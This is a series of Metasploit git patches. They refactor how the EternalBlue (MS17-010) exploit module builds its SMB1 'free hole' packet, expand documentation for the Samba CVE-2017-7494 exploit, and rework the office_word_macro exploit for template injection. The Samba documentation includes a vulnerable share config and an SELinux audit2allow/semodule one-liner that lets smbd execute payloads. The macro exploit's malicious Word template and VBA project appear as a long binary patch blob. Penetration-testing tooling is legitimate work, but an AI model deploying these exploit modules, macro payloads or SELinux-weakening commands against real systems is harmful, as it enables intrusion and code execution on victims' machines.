MetasploitModule < Msf::Exploit::Remote }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, - 'Targets' => [[ 'Webim 1.580', { }]], + 'Targets' => [[ 'Webmin 1.580', { }]], 'DisclosureDate' => 'Sep 06 2012', 'DefaultTarget' => 0)) From 0b0e2f64caedcd7ddd9eb983fefd7cb5ece664ed Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 25 May 2017 13:43:16 -0500 Subject: [PATCH 072/686] update SMB1 "Freehole" packet the 'Freehole' packet is now generated with RubySMB and sent by the client, rather than raw bytes sent over the bare socket --- .../windows/smb/ms17_010_eternalblue.rb | 58 +++++-------------- 1 file changed, 15 insertions(+), 43 deletions(-) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb index c34ee82c39..0ed68a3496 100644 --- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb +++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb @@ -358,13 +358,8 @@ class MetasploitModule < Msf::Exploit::Remote pkt = make_smb1_free_hole_session_packet("\x07\x40", "\x2c\x01", "\xf8\x87\x00\x00\x00") end - #dump_packet(pkt) - sock.put(pkt) - - vprint_status("Receiving free hole response.") - sock.get_once - - return sock + client.send_recv(pkt) + sock end def smb1_get_response(sock) @@ -575,44 +570,21 @@ class MetasploitModule < Msf::Exploit::Remote end def make_smb1_free_hole_session_packet(flags2, vcnum, native_os) - pkt = "" - pkt << "\x00" # Session message - pkt << "\x00\x00\x51" # length - pkt << "\xffSMB" # SMB1 - pkt << "\x73" # Session Setup AndX - pkt << "\x00\x00\x00\x00" # NT SUCCESS - pkt << "\x18" # Flags - pkt << flags2 # Flags2 - pkt << "\x00\x00" # PID High - pkt << "\x00\x00\x00\x00" # Signature1 - pkt << "\x00\x00\x00\x00" # Signature2 - pkt << "\x00\x00" # Reserved - pkt << "\x00\x00" # TreeID - pkt << "\xff\xfe" # PID - pkt << "\x00\x00" # UserID - pkt << "\x40\x00" # MultiplexID - #pkt << "\x00\x00" # Reserved + packet = RubySMB::SMB1::Packet::SessionSetupRequest.new - pkt << "\x0c" # Word Count - pkt << "\xff" # No further commands - pkt << "\x00" # Reserved - pkt << "\x00\x00" # AndXOffset - pkt << "\x04\x11" # Max Buffer - pkt << "\x0a\x00" # Max Mpx Count - pkt << vcnum # VC Number - pkt << "\x00\x00\x00\x00" # Session key - pkt << "\x00\x00" # Security blob length - pkt << "\x00\x00\x00\x00" # Reserved - pkt << "\x00\x00\x00\x80" # Capabilities - pkt << "\x16\x00" # Byte count - #pkt << "\xf0" # Security Blob: - #pkt << "\xff\x00\x00\x00" # Native OS - #pkt << "\x00\x00" # Native LAN manager - #pkt << "\x00\x00" # Primary domain - pkt << native_os - pkt << "\x00" * 17 # Extra byte params + packet.smb_header.flags.read("\x18") + packet.smb_header.flags2.read(flags2) + packet.smb_header.pid_high = 65279 + packet.smb_header.mid = 64 - pkt + packet.parameter_block.vc_number.read(vcnum) + packet.parameter_block.max_buffer_size = 4356 + packet.parameter_block.max_mpx_count = 10 + packet.parameter_block.security_blob_length = 0 + + packet.data_block.native_os = native_os + packet.data_block.native_lan_man = "\x00" * 17 + packet end # ring3 = user mode encoded payload From e8a34c5797cf9587e043e3d3e0946ddb57651421 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 25 May 2017 16:53:39 -0400 Subject: [PATCH 073/686] updates to docs --- .../exploit/linux/samba/is_known_pipename.md | 30 ++++++++++++++++--- 1 file changed, 26 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/linux/samba/is_known_pipename.md b/documentation/modules/exploit/linux/samba/is_known_pipename.md index e5ec652473..ce62629dd4 100644 --- a/documentation/modules/exploit/linux/samba/is_known_pipename.md +++ b/documentation/modules/exploit/linux/samba/is_known_pipename.md @@ -10,20 +10,42 @@ for this exploit to be successful: However, in some cases anonymous access with common filesystem locations can be used to automate exploitation. +A vulnerable Samba config may have a share similar to the following in `smb.conf`. This is a setup for 'easy' exploitation +where no SMB options are required to be set: + +``` +[exploitable] +comment = CVE-2017-7494 +path = /tmp +writable = yes +browseable = yes +guest ok = yes +``` + Verified on: 1. Synology DS412+ DSM 6.1.1-15101 Update 2 (Samba 4.4.9) 2. Synology DS412+ DSM 6.1.1-15101 Update 3 (Samba 4.4.9) 3. Synology DS1512+ DSM 6.1.1-15101 Update 2 (Samba 4.4.9) 4. Synology DS1512+ DSM 6.1.1-15101 Update 3 (Samba 4.4.9) -5. Ubuntu 16.04 (**HDM PLEASE PUT THE Samba version here**) -6. Synology **HDM PLEASE PUT THE DSM VERSION HERE** (**HDM PLEASE PUT THE Samba version here**) +5. Synology DS2415+ DSM 6.1-15047 (Samba 4.3.11) +6. Ubuntu 14.04.5 x64 (Samba 4.3.9) 7. Ubuntu 15.04 (Samba 4.1.13) +8. Ubuntu 16.04 (Samba 4.3.11) +9. Fedora 24 (Samba 4.4.13) Currently not working against: -1. QNAP Nas Samba 4.4.9 on armv71 -2. WD NAS armv71 **@wwebb-r7 PLEASE PUT Samba VERSION HERE** +1. QNAP NAS Samba 4.4.9 on armv71 +2. WD MyClous NAS Samba 4.0.0rc5 armv71 + +### SELinux + +Fedora (and possibly Redhat) are not exploitable in their default installation. SELinux must be adjusted to allow nmbd to use net_admin, and smbd to exec the payload. + +``` +echo -ne "type=AVC msg=audit(1495745298.086:334): avc: denied { execstack } for pid=2365 comm="smbd" scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:system_r:smbd_t:s0 tclass=process permissive=0\ntype=AVC msg=audit(1495717997.099:267): avc: denied { net_admin } for pid=959 comm="nmbd" capability=12 scontext=system_u:system_r:nmbd_t:s0 tcontext=system_u:system_r:nmbd_t:s0 tclass=capability permissive=0\ntype=AVC msg=audit(1495745002.690:308): avc: denied { execmem } for pid=1830 comm="smbd" scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:system_r:smbd_t:s0 tclass=process permissive=0\ntype=AVC msg=audit(1495745183.319:331): avc: denied { execute } for pid=2313 comm="smbd" path="/tmp/ucFtDpZI.so" dev="tmpfs" ino=27436 scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:object_r:smbd_tmp_t:s0 tclass=file permissive=0" | audit2allow -M cve-2017-7494; semodule -X 300 -i cve-2017-7494.pp +``` ## Verification Steps From ee131957607c2d2aebcf149efa5bd44fdfe47daf Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 25 May 2017 15:53:45 -0500 Subject: [PATCH 074/686] Update office_word_macro exploit to support template injection --- .../office_word_macro/[Content_Types].xml | 2 - data/exploits/office_word_macro/_rels/__rels | 2 - data/exploits/office_word_macro/core.xml | 13 + .../office_word_macro/docProps/app.xml | 2 - .../office_word_macro/docProps/core.xml | 2 - data/exploits/office_word_macro/template.docx | Bin 0 -> 39483 bytes .../office_word_macro/{word => }/vbaData.xml | 2 +- .../exploits/office_word_macro/vbaProject.bin | Bin 0 -> 15872 bytes .../{word/_rels => }/vbaProject.bin.rels | 0 .../word/_rels/document.xml.rels | 2 - .../office_word_macro/word/document.xml | 2 - .../office_word_macro/word/fontTable.xml | 2 - .../office_word_macro/word/settings.xml | 2 - .../office_word_macro/word/styles.xml | 2 - .../office_word_macro/word/theme/theme1.xml | 2 - .../office_word_macro/word/vbaProject.bin | Bin 16384 -> 0 bytes .../office_word_macro/word/webSettings.xml | 2 - .../multi/fileformat/office_word_macro.md | 93 ++++--- .../multi/fileformat/office_word_macro.rb | 244 +++++++++++++++--- 19 files changed, 273 insertions(+), 101 deletions(-) delete mode 100644 data/exploits/office_word_macro/[Content_Types].xml delete mode 100644 data/exploits/office_word_macro/_rels/__rels create mode 100644 data/exploits/office_word_macro/core.xml delete mode 100644 data/exploits/office_word_macro/docProps/app.xml delete mode 100644 data/exploits/office_word_macro/docProps/core.xml create mode 100644 data/exploits/office_word_macro/template.docx rename data/exploits/office_word_macro/{word => }/vbaData.xml (60%) create mode 100644 data/exploits/office_word_macro/vbaProject.bin rename data/exploits/office_word_macro/{word/_rels => }/vbaProject.bin.rels (100%) delete mode 100644 data/exploits/office_word_macro/word/_rels/document.xml.rels delete mode 100644 data/exploits/office_word_macro/word/document.xml delete mode 100644 data/exploits/office_word_macro/word/fontTable.xml delete mode 100644 data/exploits/office_word_macro/word/settings.xml delete mode 100644 data/exploits/office_word_macro/word/styles.xml delete mode 100644 data/exploits/office_word_macro/word/theme/theme1.xml delete mode 100644 data/exploits/office_word_macro/word/vbaProject.bin delete mode 100644 data/exploits/office_word_macro/word/webSettings.xml diff --git a/data/exploits/office_word_macro/[Content_Types].xml b/data/exploits/office_word_macro/[Content_Types].xml deleted file mode 100644 index adcd5a2cc9..0000000000 --- a/data/exploits/office_word_macro/[Content_Types].xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/data/exploits/office_word_macro/_rels/__rels b/data/exploits/office_word_macro/_rels/__rels deleted file mode 100644 index fdd8c4f371..0000000000 --- a/data/exploits/office_word_macro/_rels/__rels +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/data/exploits/office_word_macro/core.xml b/data/exploits/office_word_macro/core.xml new file mode 100644 index 0000000000..8158becf35 --- /dev/null +++ b/data/exploits/office_word_macro/core.xml @@ -0,0 +1,13 @@ + + + + + + + + Nobody + 1 + 2017-05-25T19:12:00Z + 2017-05-25T19:28:00Z + + diff --git a/data/exploits/office_word_macro/docProps/app.xml b/data/exploits/office_word_macro/docProps/app.xml deleted file mode 100644 index b7deadb9e8..0000000000 --- a/data/exploits/office_word_macro/docProps/app.xml +++ /dev/null @@ -1,2 +0,0 @@ - -1051110Microsoft Office Word011falseTitle1false10falsefalse15.0000 \ No newline at end of file diff --git a/data/exploits/office_word_macro/docProps/core.xml b/data/exploits/office_word_macro/docProps/core.xml deleted file mode 100644 index 0e7d44d727..0000000000 --- a/data/exploits/office_word_macro/docProps/core.xml +++ /dev/null @@ -1,2 +0,0 @@ - -Windows User PAYLOADGOESHEREWindows User322017-02-01T20:39:00Z2017-02-02T22:26:00Z \ No newline at end of file diff --git a/data/exploits/office_word_macro/template.docx b/data/exploits/office_word_macro/template.docx new file mode 100644 index 0000000000000000000000000000000000000000..7a3244e700bcf40f1c2c6518ed12948a142e36b7 GIT binary patch literal 39483 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 